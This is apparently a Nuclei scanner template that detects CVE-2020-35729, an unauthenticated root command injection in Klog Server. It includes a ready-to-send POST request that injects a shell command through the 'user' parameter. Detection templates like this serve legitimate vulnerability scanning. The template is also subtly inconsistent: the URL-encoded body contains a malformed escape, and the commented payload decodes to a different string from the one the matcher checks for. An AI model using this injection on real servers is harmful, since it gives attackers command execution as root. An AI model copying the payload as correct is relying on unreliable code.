id: CVE-2020-35729 info: name: Klog Server <=2.41 - Unauthenticated Command Injection author: dwisiswant0 severity: critical description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7. reference: - https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection - https://nvd.nist.gov/vuln/detail/CVE-2020-35729 - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35729 cwe-id: CWE-78 cpe: cpe:2.3:a:klogserver:klog_server:*:*:*:*:*:*:*:* epss-score: 0.95448 tags: cve,cve2020,klog,rce metadata: max-request: 1 http: - method: POST path: - "{{BaseURL}}/actions/authenticate.php" body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo" matchers: - type: word words: - "poc-testing" # from Base64 decoding payload